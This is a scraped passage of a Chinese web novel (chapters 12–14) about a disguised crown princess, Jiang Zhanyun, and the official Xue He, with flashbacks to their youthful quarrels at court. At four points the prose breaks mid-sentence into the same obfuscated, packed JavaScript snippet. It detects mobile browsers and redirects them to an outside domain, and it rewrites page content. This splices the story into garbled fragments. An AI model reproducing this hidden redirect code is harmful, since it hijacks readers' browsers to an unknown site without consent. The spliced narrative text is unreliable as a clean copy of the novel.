江瞻云遥看那座巍峨宫城,这厢眼中的怒意才是凛冽刻骨。风吹眼迷,垂眸看自己一双手,掌心蓦然一阵濡湿,是一颗泪珠滴入。 她连父亲最一面都不曾见到。 早春的风还在拂面而来,吹起她一身细密的冷汗,令她摇摇欲坠。 “女郎——”桑桑扶住她。 “无妨!”江瞻云就着她的手缓了缓,“昨夜折腾,这日又起得太迟,久未进膳之故。” 桑桑闻言,赶紧扶她回向煦台。 她从凉亭下,回首还能看到九重宫阙斗拱飞檐,朱墙一角。 脑中却只剩了四个字。 山河永续。 * 江瞻云用膳毕,面上慢慢有了些血色,坐在廊下养神,目光不自觉又投向东边未央宫的方向。 “辰时一刻,薛御史过来了一趟,道是您路途跋涉,他今日亦有事,暂且不开课,让您好生休息。”桑桑给她腿上盖了条薄毯,“本来他来时您还未醒,婢子惶恐他又要以‘惫懒’罚您,不想还算体贴。” “他哪是体贴,他就是怕把我折腾死了,没个合适的人实行他的计划。”江瞻云接来暖炉捧在手中,胸堂伤口处因昨夜毒发尚且隐隐作痛,忍不住哼了声。 桑桑闻这话,抬眼看天。 江瞻云揉了会胸口,抬眸同沉默不语的侍女对上眼,眼珠滴溜转过一圈。 他的计划为的是她的事。 那算他体……还成吧。 主仆二人闲聊中,掌事林悦过来回话。 林悦是益州军中的医女,薛壑计划之初,便选好了相关人手,给薛九娘配备了完整的侍从人员。毕竟她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105410|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张脸没有一劳永逸的法子,需要备好新的皮具以便换新。所以调了一个懂医又习武的人来打理她的事宜,最主要的就是保养和储藏面具。原本还有两个贴身的女侍,但被江瞻云以习惯桑桑侍奉、不喜人多打发了,只在外屋进行打扫庭厨的事。 这会她带了另外几位掌事和首领过来。 主管膳食的汤令官,衣衫头面的四司,私库处的两位掌事,还有成、张两位医官,以及护卫首领。 江瞻云翻阅记载个人档案的卷宗,上头详细记载了每个人的背景,一人一卷,足有十卷,她一目十行看完,抬眸看了眼林悦,“没旁人了?” 林悦道,“都在这处,没旁人了。” 江瞻云落眼在护卫首领身上,顿了会,合上卷宗没再多言,只让他们散去各司其职。 “大人还吩咐了一事,今日虽无课业,但还请姑娘午后去书房先将课本温习起来,不能少于两个时辰。” 二月里,白日短得很,午后两个时辰天都黑了。谁家带病还这般用功的,欲速则不达! 江瞻云口上应是,心中腹诽。 林悦走后,她回想卷宗中的种种内容。尤其是护卫首领的介绍,年三十又一,曾任四百石牙门将,承华廿二年参与益州巡防两次,毙敌三人,先为六百石骑都…… 江瞻云皱眉想了许久,只觉匪夷所思,直到午膳过半,终于露出笑颜,将被她搅得已经凉透的半碗汤饼换了碗重新做的,热腾腾用下了。 * “女郎,婢子有一事想同您说。” 桑桑陪同江瞻云过来书房温习功课,瞧她心情大好,终于尝试开口。 “你说!”江瞻云浏览书案上的一摞书卷,一部分是关于青州风俗的,一部分是隶书的讲授。 “婢子瞧着今日来此的护卫首领不是以前的唐飞首领,方才您读卷时婢子看到了他的记录,才六百石,实战经验也不算丰富,薛大人择这样的人保护您,怕是不妥。您自然也是发觉的,但神色从不解到释然,定然知晓了其中关窍,可否对婢子指点一二?”桑桑凑过来,“女郎放心,这处人都打发了,就你我二人。” 江瞻云阅卷极快,两盏茶的功夫就已经基本扫完了全部竹简,这会合上最后一卷扔在书案上,托腮打量侍女,“这处正是我要考你的,你当真没有悟透。” 桑桑有些报赧地摇了摇头。 “我一直没问你,你阿翁身在太尉职,位极人臣。莫说他教你,便是耳濡目染你也不至于对时局这般不敏感。我瞧着你是块读书的料子,悟性好,过目不忘,怎么以往在家中你父兄从未同你谈论过朝政?” 论起已逝的父兄,侍女眼眶微红,依旧摇头道,“阿翁没有阻止我读书,但是在论政上却也不曾让我旁听过。毕竟女官制被废除了,阿翁的心思便更多的用在栽培兄长身上。” “先帝是废除了女官制,但不是立了孤为储君吗?这不是很明确的风向吗!” “如果……”桑桑垂下头,声音越发低了,“阿翁或许会教授我吧。” 如果。 如果没有那场刺杀。 “抱歉。” 江瞻云伸手摸她面庞,“那年你十二岁,正是听政学政的好时光。穆辽是个好父亲,若还在,一定会教你的。” 桑桑咬着唇瓣点头。 “以后孤教你。”江瞻云拭去她眼底水雾,“这样,孤给你个提醒。你还去晌午的那个凉亭,眺望未央宫,然后再想想为何薛大人送这么一个人来。” 12.第012章 “我初时也疑惑,但后来想明白了。其实一开始您让林悦领那十人来见我,要我熟悉他们就是不合理的。说白了,我又不是这处的主母,要打理中馈;即便是,熟悉几位内宅的掌事便可,何需连掌管膳堂的汤令官、负责安全的护卫首领这些人都要认识。后来我想明白了,无非是您在考我,就是要我在这群人中寻出个不符合常理的人,护卫首领李荣。但这个人您也不会调走,确确实实是派来护卫我安全的。” 日落时分,薛壑来了向煦台。彼时江瞻云尚在内寝歇息,闻他过来很是不满。本来她阅完功课,思忖无事便回榻上歇晌。许是近乡情怯,心绪酸涩了些,也无甚胃口,就打算不再起身用晚膳,何时腹中饥饿再传。这人一来,少不得得敷衍应付一番。最气人的是这厢过来,闻她歇晌在榻,以她擅自更改温习时辰为由,在此考她。不过,这会看坐在书案前的男人神色,明显眉间愠气散开了些,只抬眸一眼示意她继续说下去。 侍奉在一侧的桑桑也满怀期待,实乃即便得了主上提醒,她依旧没有悟出这其中的道理。 “在益州时,老师们给我分析长安局势。曾说过,未央宫禁军五位校尉中有两位是薛家子弟。而此处距离未央宫北宫门极近,虽不是禁军管辖的范畴,但却依旧是五校尉轮值负责的地界。简单来说,我薛门的两位校尉,明面任职未央宫,暗里却还兼领保护九娘的职责。有这二位在,自然无需再把唐飞首领按在此处,只需放一位有责任心的首领便可。” 桑桑顿悟,原来殿下的提醒是让她观地形,思校尉之职责。 “还有吗?”薛壑眉宇舒展,饮了口茶。 江瞻云侧首看了眼桑桑,似也在问她这个问题。 桑桑蹙着眉,想不出旁的,只有江瞻云的声音再度响起。 “局势。” “昨晚我说可从绣月处看出当下局势乃您占上风。但您真的只是稍微占了一点而已。虽说择薛氏女为后,是早早定下的事,但先前毕竟我还未入京。而这厢我抵京,未央宫中的天子就会觉得危机更近一步。所以即便有两位校尉在此暗里护我,若是可以将唐飞放在此处多一重保险自然是更好的。可是,您却没有。说明您目前可用的人手已经不多,益州处也不能随意调人过来,毕竟那处五万兵甲需要留人治军。所以您迫不得以方才如此安排,想必唐飞首领已经回去您的身边保护您。” 江瞻云话至此处,起身从一旁的炉上持了釜锅,上来给薛壑添茶。 隔案相对,她嗅到青年身上未散的酒气,有些讶异地看了他一眼。每月十六不是他的休沐日,他又有事在身,绝不会饮酒。这人自律的令人发指,譬如饮酒,除了君者赐,便是宴饮也是举杯有数,印象中就没见他醉过酒。如今却是一身浓烈酒气。 女郎一点目光投向东边宫城处,“您需防他猴急跳墙。” 随茶入盏,氤氲水雾同女子话语一起升腾起来,隔在两人中间。 雾气腾腾水气重,话声很轻。但挨得近,足矣让人听清。 极好的分寸。 “喝茶。”她将茶盏推过来,素手洁白,骨节修长。手指上没有带护甲也不曾染蔻丹,只将指甲修得平整圆润。灯火映照下,素手如一截青竹,温润洁净。 薛壑的确饮了酒,还饮了不少。他本没想要过来 ,一身酒气出现在一个并不熟络的人面前,很没有礼貌。 但马车行径府门,他习惯性地撩帘一瞥,竟看见向煦台的灯火亮了。 书房,膳房,还有二楼寝阁。 十年来头一回全部亮起。 他便鬼使神差地走了进来。 进来后,见侍者,闻人声,看清现实,又觉无趣。但无趣的现实告诉他,依旧有事要做。 他已经灌了几盏凉茶,脑子清醒了些。但这会,隔着蒙蒙水汽,目之所及素指净甲,神思又混沌起来,只觉人影熟悉。 是很久前,承华廿八年七月,他们的第二次接触。 那会送他入京的叔父和数位亲友已经返回益州,独留他一人在异乡。 小半年的时间里,他都只在御史台和府邸间往返。长安权贵因他身份之故,远了怕被说不敬,近了有结党的嫌疑,且他还任侍御史一职,是故除了温颐因祖辈的交情和他有所往来,他几乎没有什么朋友。日子过得寡淡沉闷,不好不坏。 时值上林苑夏苗,十五岁的少年眉眼亮了起来。纵马挽弓,是他兴致所在。于是,头一日还未开始狩猎,只有部分骑射的比赛,他便下了场。 不曾挑马择弓,同旁人一般无二,但射箭是榜首,赛马又夺魁。回来天子帐下,只有面庞微红,鬓边汗珠泛光,足下步履生风。诸人喝彩,他坐在席案边并无多少在意,满脑子想着外头的碧草蓝天,明日的引弓射雕,眼中神采奕奕,整个人意气风发。 “虎父无犬子,有你父亲当年的风采。”天子命人给他斟酒,笑道,“去挑匹好马,后头与七七一道,正好给她指点指点。” 中贵人送来一盅酒,装在一个玉羽觞中,奉来他席上。 是苍梧郡上供的苍梧缥清酒。 当年同匈奴的最后一战,薛茂所领薛家军大获全胜,入京受赏,天子曾以此酒设宴。因薛茂喜欢,天子遂命苍梧郡每年向益州亦供此酒。薛壑幼年时尚被母亲抱在怀中,就被父亲以箸蘸来喂过。 因其过于清澈的酒液,和奇特的米果双香之气,嗅一次而记数年;更因其超高的度数、过于性烈则饮一回而记终生。 承华帝酷爱此酒,只是这些年他身子有恙,不宜饮烈酒亦不宜狩猎,只得饮一些药酒果酒类养生。是故每逢上林苑狩猎之际,他独坐高台,方开坛饮此酒解一解馋。酒烈醇厚,回甘绵长,但座下文官武将在此时此地却也都不馋,实乃此酒过烈,饮之难上马引弓,没法参与狩猎。 薛壑看着面前可映人面的御酒,游离的思绪尽数收回,耳畔风声停,眼前马儿歇。他明白了承华帝的意思,是在说他贪玩忘记了职责,没有守在储君身边,所以让他饮此酒莫要再下场。 他眉睫低垂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111375|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投下的小小阴影覆在清液之上。须臾抬起头,面色恭谨,向天子谢恩,“臣谨记陛下教诲,满饮此杯。” 言罢,就要举杯一饮而尽,却被一个声音止住。 “你骑射真好,饮了酒还怎么与孤切磋?”少年储君一身白蓝相间的荃襌骑衣,遮蔽夏日的闷热,令人见之沁脾舒心,不知何时起身来到的他席案前,“喝茶吧。” 她将茶盏推过来,动作温和平顺,却在抽手的一瞬打翻了御赐的那盏酒,扭头呵斥中贵人,“杵着作甚,还不收拾干净。” 抬眸又对天子撒娇,“儿臣鲁莽了,父皇恕罪。” 天子懒得瞧她这点小把戏,“洒了朕一盏美酒,罚你一个月俸禄。” “不理他,喝茶。”她转头低语,将茶盏又推近些。 许是被她上回的“直面视君”留下了阴影,恐她又要冷不丁地捉弄,薛壑始终低垂眼眸,没有看她。 但视线里,她的那只手第二次出现,让他看得更仔细了。 皮质玉白,筋脉清晰,似茫茫雪地里横旦的翠竹,虽经雪压折断却依旧冒雪现苍劲本色。指甲不留毫寸不着花色,片片洁净利落,闪着柔和的光。 从益州带来的礼物中,除了嵌七宝玉珏,还有母亲置办的一些头面,乃文烈女帝彼时御赐,如今送给她的后人,重回天家再合适不过。 其中,便有一套六枚的红宝石缠金护甲。 薛壑想戴在这双手上,定然很美丽;但又觉这样美的一双手,世间俗物如何配得起。就该这般脱俗不染尘埃的好。 “多谢!”相比御赐的酒,这盏茶让他心生涟漪之后,又生感动,竟觉是异地他乡里的一重慰藉。 他嘴角有扬起的弧度,只是茶尽抬眸,在天子面前,露出一副端庄安分模样。 但好过此刻,眼中满是冷肃和猜忌。 “为何不染蔻丹?”他抓起薛九娘的手,“长安城中的女郎,低如教坊,高如权贵,个个染指戴甲,你何故如此素净?” “我……”江瞻云被他突如其来的变色惊了惊,“我不喜欢不行吗,非得人人都一样吗?” “不行!伺候的人给女郎染好时令花色,护甲让掌事开库寻出来,没有就请人现做。”薛壑甩开她的手,绕案而出,边走边命令。 行之殿门口,他顿下脚步缓了缓声色,“我寻你办事,是为殿下,但无需你模仿她,即便你敬慕她,沾了她半分气韵。但你就是你,莫做画虎类犬自寻羞辱的事。” 长夜无尽,他的目光散在虚空中,不知何处是他真正可以落眼落脚的地方,“这世上,就算人有相似,也只有一个殿下。” 他合了合眼,驱散昨夜女郎的那一扬眉,今晚这一只素手,离开了这处。却在踏出府门后,回首向煦台。 看十年来首次亮起的全部灯火。 殿下,父亲,先帝。 人夫,人子,人臣。 情意,孝道,忠义。 夜色阑珊,他脚步虚浮走着,忽就笑出声来。 13.第013章 少年事3 经薛壑这一趟,江瞻云沐浴上榻后,想得多些。 她面貌改了,但习惯气韵难改,往后要注意起来。 思索间不由就打了个激灵,回想白日里阅得那些卷宗,落英压根就认不得几个字,纵是在益州的两年学习六艺时翻了两本,但……幸亏薛壑走了,没有再问她午后温习的事,不然马脚得露一半。 江瞻云捂着胸膛呼出口气,暗思这人如今也太阴晴不定了。忽又想起他面容神态,面色虚白,气息不匀,昨日里回来第一面,她就觉得不太正常! 还有,薛壑承认他人手不够用,可是就算需要分拨一部分来保护她,也不至于紧张。当年他入朝来,薛茂可是将益州军中的精卫营请旨分拨了十中之一给他,正好一百人,在他之前入朝,散入虎贲和羽林中。 父皇还借此给她授了一课。 道是薛茂此举便算阳谋。实乃他要行保护儿子之举,却也不私动兵甲,反说是向天子进献,请天子阅兵,好则留下,不好且退回由他再训。为人臣便该如此磊落,但又不失计算懂得保护己身。 那批精锐中后来有半数作为薛壑的亲卫参加了青州之战,也就是还有半数尚在禁军中。难不成明烨上位后,将这部分人手清除了? “女郎哪里不适,要不要用盏安神汤。”桑桑给她被中塞了个暖炉,回来床头掖好被子,见她忧思重重。 “无事。”江瞻云将一双手上下翻来看过, “按他说的做,明日给我染指戴甲,记得多些花色和款式。” 桑桑点头应是,落了帘帐让她早些休息。 三重帘幔落下,江瞻云仰躺在榻上,还在看自己一双手,神思有些飘忽。 论起护甲,以前薛壑曾送过她一副,红宝石熠熠生辉,很漂亮。 可惜被她砸了。 * 承华廿八年的夏苗首日,薛壑一身骑射术落在少年储君眼中,让她数月前早朝上的不快散去了些,多看了他两眼,甚至还端给他一盏茶。 实乃长安城中,她还没有见过身手这般好的郎君。 但后来半月,他虽时时伴在她身侧,她赛马时,他同行;她行猎时,他递弓;但所有的赛事都不再下场。 “你射你的,总随着孤作甚?” “射猎需凝神,如此就会对殿下分神。” “孤都说了,我们比赛。这样多没意思。” “殿下可以同其他人组队,或者竞争,不是非臣不可。臣职责所在,要护着您的。” “孤有三千卫,他们又不是死人,你不愿意同孤比赛就直说,少拿职责说事。”少女骄纵,除了君父还未有人对她说过“不”字,更不曾被人拒绝过。 “臣是来护守殿下的,不是来比赛的。”少年看似恭敬,却也执拗。 “借口,你头一日玩得不亦乐乎!不比就给孤滚,别碍孤的眼。”少女扬鞭疾走。 “臣领命。”少年拉了拉缰绳,落后半步,分出距离。 …… 江瞻云看着帐顶,轻叹了口气。 她后来想明白了,是父亲的那盏酒另有深意,让他顾忌了。 但即便想明白了,太过年轻的岁月,总是谁也不肯低头。 * 夏苗的最后三日,她在长扬宫东边的草原上赛马。 首日,许多高门子弟都在,其中年仅八岁的太尉之女穆桑,贪玩不识规矩,入场未除香解囊,身上衣衫染了极浓的熏香,刺激了她的雪鸿,累她不慎落马。 好在只是扭了脚,没有大碍。 但她的轻伤是薛壑以身作垫换来的。 她在明光殿里养伤,闻他肩背都擦破了皮,虽不严重,但夏日炎热,伤口磋磨人。 她谴了太医令过去看护,第十日的时候,唐飞来她殿中谢恩,奉上一套红宝石护甲。还带了话,“臣未曾狩得猎物奉于殿下,以此聊表心意,望殿下笑纳。” 她从未戴过护甲,也不喜欢戴。但那日谴退侍者后,还是将六枚护甲全套在了手指上,对着日光玩了半天。 又三日,天气转凉,薛壑伤口控制甚好,开始结疤,除了有些痒,基本已无大碍。 他出府来明光殿看她。 宫人传禀,等他入内的空隙,侍者问储君可要更衣理妆。 “孤都站不起来,更什么衣。”江瞻云看着那套摆在长案一角的护甲,这得拿身好衣裳配才行。 她幽怨地看一会,唤回侍者,“描下眉,上点口脂。还有,把那盒太医署才送来的消痛止痒的虫草膏拿来。” 薛壑踏入殿内,同她行礼问安。 她掩在袖中的手拨弄着药盒,着人赐茶看座。 薛壑起身谢过,两人相互问候身子,寥寥数句话,屋中静下来,忽起一阵尴尬。 江瞻云垂着眼睑,眼珠来回转过,感受这奇异的氛围。 “臣今日来此,还有一事要禀。”薛壑率先打破了沉默,从袖中拿出一物欲要奉上。 不知怎么手中一滑,落在了地上,弯腰去捡,头便低得更下了,仿若要掩藏些什么。所幸抬首时已经恢复了神色,平静将卷宗奉上。 江瞻云在书简落地的一刻,瞧见“奏启”二字,前头那点莫名的燥热彻底退下,目光都凉了两分。 烦不烦人,养伤都不放过。 她在心中恼了声,接来翻开,根根竹简阅过,面色慢慢发沉。 这套卷宗甚厚,全名叫做《上君节乐廿规疏》,分了上下两侧,旨在劝谏君主节制行乐。薛壑这会送来的是目录草本,还未经过御史台定稿修编。 【一曰限期,定宴饮之期。 二曰裁度,裁行乐之度。 三曰监设,设监宴之官。 …… 十九曰存名,录谏言之人。 廿曰誓约,上君立誓为证。】 江瞻云看了眼坐在下首的人,合上卷宗,心中怒气上浮。 “何意?”她问道。 “此处‘上君者’乃殿下、储君也。其中廿规乃是对殿下的劝诫,您看看若是无异议,臣便将它整理好,送入御史台定稿编纂。若有异议,您提出,臣再做修改。” “这上头都是目录简要,你细说。”江瞻云用力捏着那个药盒。 “第一限期,定宴饮之期,即每季度宴饮,非节庆不得过两次,每次设宴需提前三日交由鸿胪寺预备;宴饮辰时起,申时止,不得延至夜漏。第二裁度,便是针对宴中用度,需减三事:罢珍馐之靡,去歌舞之繁,省赏赐之滥…… ” “等等。” 薛壑才说至第二项,江瞻云便已经听不下去,“罢珍馐之靡,去歌舞之繁,省赏赐之滥,试问如何罢,去,省?你有具体的说法吗?” “罢珍馐之靡,即不得再用西域驼峰、南海鲛鱼等稀贵食材,日常宴饮以本土五谷、畜禽为主,每席花费不得超过一斤金(1);去“歌舞之繁”,则宴中乐师不得过二十人,舞姬不得过十名,禁用靡靡之音,改奏诗经雅乐;省“赏赐之滥”,便是宴中不得随意赏金帛、封官爵,若需赏赐,须次日由御史台、大司农处核查备案,以防醉中失度。”薛壑顿了顿道,“以上只是臣粗略的设想,还不曾细化。殿下若有其他参考意见,亦可提出商榷。” 还不曾细化! 还要怎样细化? 她堂堂一个储君,连办场宴会、品些珍馐的权力都没了。哦,不对,有,一季度最多两场,合着一个月都没一场,真是谢他大发慈悲。 二十个乐师连乐器都凑不齐,寻常的傩舞少则也要三十六人,十个舞姬能作甚?让她看他们列队出操吗? 还不得赏赐金箔官爵,她合何时赏赐过?简直莫名奇妙。 “都不行,你回去改。”江瞻云忍着怒意,吐出一口浊气,“另有,你是侍御史,所谓谏言匡正人君,乃是上君者有错,你可直言指出。孤是喜欢行乐宴饮不假,但孤何时随意赐官爵于亲信,要你这般明文载录其中?” “臣访殿下往昔行径,亦查殿下入东宫后之任命,确不曾随意封官赐爵。但是侍御史一职,除了劝诫上君,更有替上君防患于未然的职责。殿下虽不曾有此举,然按照过往种种,难保有朝一日会犯此糊涂,以东宫之威凌驾于律法之上。” “放肆!”江瞻云厉叱,欲撑案起身,奈何左足踝骨尤伤,受力即痛,除了失手差点推倒长案,根本起不来身,反而半跌在席,发出一阵痛吟。 薛壑眉心跳了跳,已经半身离案,伸手欲扶。却见女郎身形往后一仰,拉开了距离,靠枕端坐,凤目淬火瞪他。 “旁的暂且不提,你凭何说孤‘按照过往种种,难保来日糊涂会随意赐官封爵’,哪来的依据?薛壑,你今日若说不出个子丑寅卯,孤治你大不敬!”女郎揉着酸疼的脚踝,只觉手中碍事,原是一方药盒尚在,遂被她顺手扔在案上。 没放好,陶制圆盒往边缘滚去。 江瞻云想要去抓,它又堪堪停了下来,滚在桌案边上。于是哼了声,懒得再去拿。 “臣闻殿下甚喜宴饮,常在上林苑与诸人开宴行乐。虽入主东宫后少了些,但合下来一月至少两回。且有时兴致上来,便立时直接前往上林苑,饮食皆由那处提供。可对?” “孤承认,又如何?” “殿下临时起意,且不说您出行安危,就说你饮食之康健也是极不妥的。你兴致前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“臣奉命入京任侍御史一职,却率属东宫,便是再明显不过的意思,乃专门为修整殿下言行来。若殿下言行无差,陛下何必多此一举,如常将臣归在未央宫臣位上便可。再有‘省赏赐之滥’删不得,殿下因此劳记在心里不犯便是最大的意义。然一旦松了弦,殿下犯此举,小则涉及银钱,大则涉及官位,这口子一开,往后裙带也就来了,卖官鬻爵也就不远了……” “你少夸大其词,将孤贬得仿若昏庸之辈,无德之人。” 女郎面色紫胀,“哗啦”一声将卷宗掷于地上,广袖拂过,带翻一旁的那套护甲,随书简一道滚在少年面前。 江瞻云目光从护甲上扫过,心中一紧。 她承认薛壑说得有几分道理,也理解“省赏赐之滥”,并不是剥夺她任命官员、与人加恩赐爵的的权力,实乃重点在一个“滥”字上。但这人说话也太难听了,就差说她来日为君不明,用人不当,丧志亡国……有这么批评人的吗? 江瞻云气得不轻,抬眸见薛壑正在看她。 一副直臣生死无畏的模样。 “薛大人,你要修正人君举止,那是否也该修正己身?” “臣若有不当之处,还请殿下指出,臣领罚。” 四目相对,江瞻云冷笑道,“孤好看吗?” 薛壑蹙了下眉,顿时明白她所指何意,起身跪首道,“臣直视君颜,臣领罚。但臣还是要说,所谓‘不可直视君颜’并非如此死板片面。卷宗中有载:非席面、非公开之场合,非三人以上之台面,可由君者自裁尺度,不必深究。臣幼承庭训,与人言语,当倾听之,面言之,方算礼也。习惯已成怕一时难改,殿下若觉如此私下里臣因回话直面于您,让您觉得不适。那臣再谏一言,来日您召臣议事,可设帷幔,垂帘听之。” 四下静了一瞬,唯有少女呼吸起伏。片刻,闻她声音响起,“好得很,这处孤纳了。卷宗你拿回去,改后再议。” “臣告退。”少年伏身捡起卷宗,手指碰到四散零落的护甲,顿了顿,没有捡起,只继续卷上竹简。 “等等!”江瞻云唤住他,“把你的东西一并带走 ,孤不要。” “薛大人,孤也同你多说一句,送人礼物总得投其所好方显真诚。孤从不戴护甲,亦不喜护甲,你未免太敷衍了。你我今日君臣之外,来日尚有夫妻之义,如此举止,传出去,以为是益州异心,不想结亲。” 闻话到最后,薛壑猛地抬起头,又迅速垂下眼睑避面,“送护甲未先探知殿下喜好,是臣办事不周,但殿下何至于牵扯到整个益州?” “以小见大,孤向薛大人学的。” 豆蔻之年的储君歪过头,看对面低眉垂目的少年拼命抑制胸膛怒火,尤觉扳回一局,嗤笑挥手,“退下吧。” 14.第014章 少年事4 薛壑睁开眼睛,空洞地望着帐顶,还在想梦中事。 他也梦到了承华廿八年的那场夏苗,夏苗之后明光殿中的争吵。 他提了许多谏疏,她采纳的第一条是“垂帘”。 那之后,凡东宫议会,她都会落下帘幔,隔帘与他说话。 东宫议会随在早朝之后,承华帝后期龙体欠安,隔日朝会改成了逢五上朝,也就是每月的初五,十五,廿五三日,东宫议会则在初六,十六,廿六。 于是这三天里,明光殿的政事堂便挂会起一张帘幔,将参与议会的二十多位臣子隔在帘外。 东宫的属臣已经习惯了储君各种别出心裁的花样,见怪不怪。只有几位近臣在议会结束后寻了掌管东宫内务的大长秋文恬和太医令曲樾问候:殿下是否身子有恙还是容貌有异,如何挂起了帘幔? 然大长秋和太医令皆摇头否定,道是殿下甚安。 那怎么就突然弄了这么一出? 难不成是寻人代替,溜出去玩了? 也不对,殿下虽好玩但从未做出有碍政务的事,何论声音举止确实其人不假。 那就是纯粹翻出的新花样? …… 这点疑惑很快就有了答案,倒不是江瞻云直言是不想看见薛壑之故,实乃诸人没多久便都看懂了。 东宫议会原本就是针对早朝事宜的二次商讨和整理,形态基本一样。臣子出列奏话,君者应之。 只是这会在东宫之中,凡臣子言语,储君便命侍者请人入内回话,话毕退下。但薛壑言语时,却从未招他入内,就隔帘对话,这是其一;另有议会结束后,亦同在未央宫一般,重臣被点名留下复议。薛壑彼时官品不高,但无论从心腹论,还是从官品属性论,他都该被留下,但储君从未留过他。仿若议会是不得已才让他来,但凡议会结束巴不得他赶紧走。而薛壑亦是步履匆匆,半点不留恋。 诸臣便看明白了,两人又较上劲了。 帘子早晚会撤。 再不济,入洞房还能隔着帘子? 臣属私下打趣,一笑了之。 说是早晚,却也够晚,直到转年承华廿九年的正月,年假结束朱笔重开后,明光殿中的这张帘幔才撤了。 薛壑以为自己不在意这张帘幔,撤不撤都无所谓。然在踏入政事堂发现帘幔未垂的一瞬,尤觉这世间广袤无限,二月阳光明媚万千,整个人都舒畅了起来,连带心跳都加快。 同僚自然也瞧见了这模样,三五成群在一旁窃窃私语。 温颐还过来推了推他,“劝你去同殿下低个头,你还嘴硬,怎么转身又去了?早和你说了,殿下其实很好哄,你得顺着她!” “我没去。”薛壑抑制没来由的心跳,压住嘴角回道。 “嘴硬,你同我还装甚!” “我真——” 薛壑的话没说完,储君的仪仗便到了。江瞻云入殿来,在正座落座,赐坐诸人。众臣分文武按席而坐。 新年头一日议会,原无甚要事可谈,更多是天家施恩,人臣仰德,体现君仁臣恭。诸人依次说了些吉祥话,大长秋领宫人将赏赐逐一送达。 轮到薛壑时,储君多说了一句,问他殿中陈设如何? 殿中陈设—— 新年伊始,司工处会给殿中重新打理一番。主上喜欢的或有太史令卜卦需安置的物件一应留下不动,其他的譬如屏风、熏炉、书画器物等皆会换新。 但显然这日江瞻云一问,意在指那幅消失的帘幔。 薛壑想,若今时今日她再问他一回,“孤殿中陈设如何?” 他一定会说,“博望炉壁身紫云缭绕,与“凤仪来祥”六合屏风正好呼应,同时亦彰显殿下凤舞九天之气象;四架二十七桂枝云纹豆形灯分布殿内,采玉之温润,聚火之明耀,眼下白日难见其功效,但可以想象晚间燃起,必似星火燎原,堪比殿下在天子教导指引下,如东升之旭日,继陛下之德行,辅君同耀万民。” 温颐说得对,说两句好听的话,不仅不会让他少块肉,还能哄她高兴,何乐不为! 但彼时他说甚? 他说,“陈设符合仪制,古朴庄严。只是殿下是否忘记了挂帘幔?” 此刻孤枕寒衾,薛壑自嘲地看着帐顶,觉得自己蠢得无可救药。 他为何要这样说? 是非要她亲口说“孤没有忘记,是孤让他们撤下的,以后不挂了”? 真是天真又狂妄! 这话一出,得她回应,“多谢薛大人提醒!” 翌日,撤下的帘子重新挂起。 这事之后的不久,他被文恬拦下开解了一回。 原来帘幔初时并不是江瞻云开口撤下的,天子曾不咸不淡地斥责过她两回,她亦不咸不淡地敷衍。后来是文恬懂眼色会做事,借着新春司工处更换陈设的机会,私下命他们撤了。 江瞻云自然发现了。 文恬便回道,“是臣想让他们选些时新的花样来替换,所以把原先的先撤下了。” 江瞻云哼声道了句“快些换上”。 后来,司工处请储君过来看新摆上的器物陈设,江瞻云环视四下,最后白了大长秋一眼,转身走了。 “姑姑,这帘幔到底还挂不挂?”司工令不比文恬有一手带大储君的情分,摸不透女郎心思,更不敢作她的主。 “糊涂东西,殿下都不提了,你还提!” 这便是同意撤下了。 文恬讲完前后事宜,瞧着一脸无动于衷的少年,叹声道,“殿下向您提的那一问,原不仅是给您台阶那般简单。 “她能给个台阶便是主动退了一步,您顺势下去纵是彼此面上皆过去了。但她生来便是公主,公主之后更是储君,一人之下万人之上。心里气还没捋平,你得捧着她,奉承她,哄回去。结果您……”文恬又叹了口气,“帘子这般没日没夜挂着,大人可觉得好看?” “那姑姑的意思是?” “亡羊补牢。我的大人,您得低头,得折腰。”文恬看着他的神色,心觉不妙,少年一双眼睛半点情绪都没有,好像殿下合该如此! 的确,彼时薛壑不以为然。 他上疏规劝本是想着正好她坠马受伤,有这么一个实例在前,更具说服力,完全是为她好。他不止一回说了,只是草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123803|179249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拟皆可商榷。然她却不纳不谏,如此闭塞言路,实非储君之德。至于垂帘一事,完全是被她气得话赶话,谁料她会当真。 